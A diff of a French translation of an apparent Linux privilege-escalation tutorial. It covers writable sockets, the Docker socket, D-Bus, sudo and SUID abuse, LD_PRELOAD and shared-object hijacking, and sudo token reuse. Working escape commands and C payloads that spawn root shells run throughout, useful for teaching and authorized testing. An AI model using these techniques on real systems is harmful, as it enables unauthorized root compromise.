**sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement. -- `Service` : Spécifie le nom de l'unité de **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il par défaut au service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options diffèrent mais un résumé est utilisé pour **indiquer où le socket va écouter** (le chemin du fichier de socket AF_UNIX, l'IPv4/IPv6 et/ou le numéro de port à écouter, etc.) +- `Accept` : prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion lui est transmis. Si **false**, tous les sockets d'écoute sont **transmis à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut false**. Pour des raisons de performance, il est recommandé d'écrire les nouveaux daemons de façon adaptée à `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute ne soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus. +- `ExecStopPre`, `ExecStopPost` : commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFO d'écoute ne soient **fermés** et supprimés, respectivement. +- `Service` : spécifie le nom de l'unité **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il prend par défaut le service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. -### Fichiers .socket écrits +### Fichiers `.socket` modifiables -Si vous trouvez un fichier `.socket` **écrit**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\ -_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_ +Si vous trouvez un fichier `.socket` **inscriptible** vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la backdoor sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\ +_Notez que le système doit utiliser cette configuration de fichier socket sinon la backdoor ne sera pas exécutée_ -### Sockets écrits +### Sockets inscriptibles -Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +Si vous **identifiez** un socket **inscriptible** (_ici on parle de Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. ### Énumérer les Unix Sockets ```bash @@ -474,57 +474,57 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Exemple d'exploitation :** {{#ref}} socket-command-injection.md {{#endref}} -### Sockets HTTP +### HTTP sockets -Notez qu'il peut y avoir des **sockets écoutant les requêtes HTTP** (_Je ne parle pas des fichiers .socket mais des fichiers agissant comme des sockets unix_). Vous pouvez vérifier cela avec : +Notez qu'il peut y avoir des **sockets à l'écoute de requêtes HTTP** (_je ne parle pas des fichiers .socket mais des fichiers faisant office de unix sockets_). Vous pouvez vérifier ceci avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. +Si le socket **répond à une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut‑être **exploiter une vulnérabilité**. -### Socket Docker Écrivable +### Socket Docker inscriptible -Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une privilege escalation. Voici une explication de comment cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. -#### **Élévation de Privilèges avec Docker CLI** +#### **Privilege Escalation with Docker CLI** -Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes : +Si vous avez un accès en écriture au socket Docker, vous pouvez escalate privileges en utilisant les commandes suivantes: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau root au système de fichiers de l'hôte. +Ces commandes vous permettent d'exécuter un container avec un accès root au système de fichiers de l'hôte. -#### **Utilisation directe de l'API Docker** +#### **Utiliser Docker API directement** -Dans les cas où l'interface en ligne de commande Docker n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`. +Dans les cas où le Docker CLI n'est pas disponible, le docker socket peut toujours être manipulé en utilisant le Docker API et des commandes `curl`. -1. **Lister les images Docker :** Récupérer la liste des images disponibles. +1. **List Docker Images:** Récupérer la liste des images disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Créer un conteneur :** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. +2. **Create a Container:** Envoyer une requête pour créer un container qui monte le répertoire racine du système hôte. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Démarrer le conteneur nouvellement créé : +Démarrer le container nouvellement créé : ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Se connecter au conteneur :** Utiliser `socat` pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur. +3. **Attach to the Container:** Utilisez `socat` pour établir une connexion au container, permettant l'exécution de commandes à l'intérieur. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,29 +534,32 @@ Connection: Upgrade Upgrade: tcp ``` -Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès de niveau root au système de fichiers de l'hôte. +Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le container avec un accès root au système de fichiers de l'hôte. -### Autres +### Others -Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de moyens d'escalader les privilèges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Notez que si vous avez des permissions d'écriture sur le docker socket parce que vous êtes **inside the group `docker`** vous avez [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). + +Consultez **plus de façons d'échapper à docker ou de l'abuser pour escalader des privilèges** dans : -Vérifiez **plus de moyens de sortir de docker ou de l'abuser pour escalader les privilèges** dans : {{#ref}} docker-security/ {{#endref}} -## Escalade de privilèges Containerd (ctr) +## Containerd (ctr) élévation de privilèges + +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour élever des privilèges** : -Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Escalade de privilèges RunC** +## **RunC** élévation de privilèges + +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour élever des privilèges** : -Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} runc-privilege-escalation.md @@ -564,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications. +D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour les systèmes Linux modernes, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes. +Le système est polyvalent, supportant des IPC basiques qui améliorent l'échange de données entre processus, rappelant des **sockets de domaine UNIX améliorés**. De plus, il facilite la diffusion d'événements ou de signaux, favorisant une intégration fluide entre les composants système. Par exemple, un signal d'un daemon Bluetooth concernant un appel entrant peut pousser un lecteur de musique à couper le son, améliorant l'expérience utilisateur. En outre, D-Bus supporte un système d'objets distants, simplifiant les requêtes de service et les invocations de méthodes entre applications, rationalisant des processus traditionnellement complexes. -D-Bus fonctionne sur un **modèle d'autorisation/refus**, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions. +D-Bus fonctionne sur un **modèle allow/deny**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, pouvant potentiellement permettre une élévation de privilèges via l'exploitation de ces permissions. -Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root pour posséder, envoyer vers, et recevoir des messages de `fi.w1.wpa_supplicant1`. -Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "par défaut" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. +Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "default" s'appliquent à tous ceux non couverts par d'autres politiques spécifiques. ```xml @@ -581,7 +584,7 @@ Les politiques sans utilisateur ou groupe spécifié s'appliquent universellemen ``` -**Apprenez à énumérer et exploiter une communication D-Bus ici :** +**Apprenez comment énumérer et exploiter une communication D-Bus ici :** {{#ref}} @@ -615,24 +618,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Ports ouverts +### Open ports -Vérifiez toujours les services réseau en cours d'exécution sur la machine avec laquelle vous n'avez pas pu interagir avant d'y accéder : +Vérifiez toujours les services réseau en cours d'exécution sur la machine avec lesquels vous n'avez pas pu interagir avant d'y accéder : ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Vérifiez si vous pouvez intercepter le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants. +Vérifiez si vous pouvez sniff traffic. Si vous le pouvez, vous pourriez être capable de récupérer des credentials. ``` timeout 1 tcpdump ``` ## Utilisateurs -### Énumération Générique +### Énumération générique -Vérifiez **qui** vous êtes, quels **privileges** vous avez, quels **utilisateurs** sont dans les systèmes, lesquels peuvent **se connecter** et lesquels ont des **privileges root :** +Vérifiez qui vous êtes, quels privilèges vous avez, quels utilisateurs sont présents sur les systèmes, lesquels peuvent se connecter et lesquels ont des privilèges root : ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -654,12 +657,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID élevé -Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader des privilèges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** -### Groups +### Groupes Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root : @@ -668,7 +671,7 @@ Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des pr interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Presse-papiers Vérifiez si quelque chose d'intéressant se trouve dans le presse-papiers (si possible) ```bash @@ -681,33 +684,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politique de mot de passe +### Politique des mots de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Mots de passe connus -Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter en tant que chaque utilisateur** en utilisant le mot de passe. +Si vous **connaissez un mot de passe** de l'environnement **essayez de vous connecter en tant que chacun des utilisateurs** en utilisant ce mot de passe. ### Su Brute -Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les mots de passe des utilisateurs. +Si cela ne vous dérange pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur la machine, vous pouvez essayer de brute-force les utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-force les utilisateurs. -## Abus de PATH écrivable +## Abus du PATH inscriptible ### $PATH -Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (root idéalement) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier écrivable dans le $PATH. +Si vous constatez que vous pouvez **écrire dans un dossier du $PATH** vous pourriez être capable d'escalader les privilèges en **créant un backdoor dans le dossier inscriptible** portant le nom d'une commande qui sera exécutée par un autre utilisateur (idéalement root) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier inscriptible dans le $PATH. -### SUDO et SUID +### SUDO and SUID -Vous pourriez être autorisé à exécuter certaines commandes en utilisant sudo ou elles pourraient avoir le bit suid. Vérifiez-le en utilisant : +Vous pourriez être autorisé à exécuter certaines commandes avec sudo ou celles-ci pourraient avoir le bit suid. Vérifiez-le en utilisant: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Certaines **commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : +Certaines **commandes inattendues permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -718,13 +721,13 @@ less>! ``` ### NOPASSWD -La configuration de Sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe. +La configuration sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est maintenant trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`. Il est alors trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` @@ -736,13 +739,13 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **l'escroquerie PYTHONPATH** pour charger une bibliothèque python arbitraire tout en exécutant le script en tant que root : +Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **PYTHONPATH hijacking** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo : contournement des chemins d'exécution -**Sauter** pour lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** pour lire d'autres fichiers ou utilisez des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -759,43 +762,43 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Commande Sudo/Binaire SUID sans chemin de commande +### Sudo command/SUID binary without command path -Si la **permission sudo** est accordée à une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_, vous pouvez l'exploiter en changeant la variable PATH. +Si l'**autorisation sudo** est accordée pour une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_ vous pouvez l'exploiter en modifiant la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Cette technique peut également être utilisée si un **suid** binaire **exécute une autre commande sans spécifier le chemin vers celle-ci (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. +Cette technique peut aussi être utilisée si un binaire **suid** **exécute une autre commande sans spécifier son chemin (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. -[Exemples de payloads à exécuter.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### Binaire SUID avec chemin de commande +### SUID binaire avec chemin de commande -Si le **suid** binaire **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. +Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer **d'exporter une fonction** nommée comme la commande que le fichier suid appelle. -Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : +Par exemple, si un binaire **suid** appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée +Puis, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (fichiers .so) devant être chargées par le loader avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement de bibliothèque. -Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec des exécutables **suid/sgid**, le système impose certaines conditions : +Cependant, pour préserver la sécurité du système et empêcher l'exploitation de cette fonctionnalité, notamment avec des exécutables suid/sgid, le système impose certaines conditions : -- Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). -- Pour les exécutables avec suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées. +- Le loader ignore **LD_PRELOAD** pour les exécutables dont l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). +- Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standards et qui sont elles-mêmes suid/sgid sont préchargées. -L'escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. +Une escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, ce qui peut potentiellement mener à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` -Enregistrez sous **/tmp/pe.c** +Enregistrer sous **/tmp/pe.c** ```c #include #include @@ -808,17 +811,17 @@ setuid(0); system("/bin/bash"); } ``` -Ensuite, **compilez-le** en utilisant : +Puis **compilez-le** en utilisant : ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Enfin, **escalader les privilèges** en exécutant +Enfin, **escalate privileges** en exécutant ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. +> Un privesc similaire peut être abusé si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH**, car il contrôle le chemin où les bibliothèques vont être recherchées. ```c #include #include @@ -838,15 +841,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### Binaire SUID – injection .so +### SUID Binary – .so injection -Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est recommandé de vérifier s'il charge correctement des fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Aucun fichier ou répertoire de ce type)"_ suggère un potentiel d'exploitation. +Par exemple, rencontrer une erreur telle que _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggère un potentiel d'exploitation. -Pour exploiter cela, on procéderait en créant un fichier C, disons _"/path/to/.config/libcalc.c"_, contenant le code suivant : +Pour exploiter cela, on procéderait en créant un fichier C, par exemple _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -859,13 +862,13 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci-dessus en un fichier d'objet partagé (.so) avec : +Compilez le fichier C ci‑dessus en un objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant un éventuel compromis du système. +Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. -## Détournement d'objet partagé +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -875,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : +Maintenant que nous avons trouvé un binaire SUID qui charge une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,13 +895,13 @@ Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -cela signifie que la bibliothèque que vous avez générée doit avoir une fonction appelée `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **seulement injecter des arguments** dans une commande. -Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, élever ou maintenir des privilèges élevés, transférer des fichiers, créer des shells bind et reverse, et faciliter d'autres tâches post-exploitation. +Le projet recense les fonctions légitimes des binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -917,55 +920,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si vous pouvez accéder à `sudo -l`, vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. -### Réutilisation des jetons Sudo +### Reusing Sudo Tokens -Dans les cas où vous avez **un accès sudo** mais pas le mot de passe, vous pouvez élever les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le jeton de session**. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -Conditions pour élever les privilèges : +Requirements to escalate privileges: -- Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" -- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans introduire de mot de passe) -- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 -- `gdb` est accessible (vous pouvez être en mesure de le télécharger) +- You already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` is accessible (you can be able to upload it) -(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier de manière permanente en modifiant `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -Si toutes ces conditions sont remplies, **vous pouvez élever les privilèges en utilisant :** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Le **premier exploit** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root 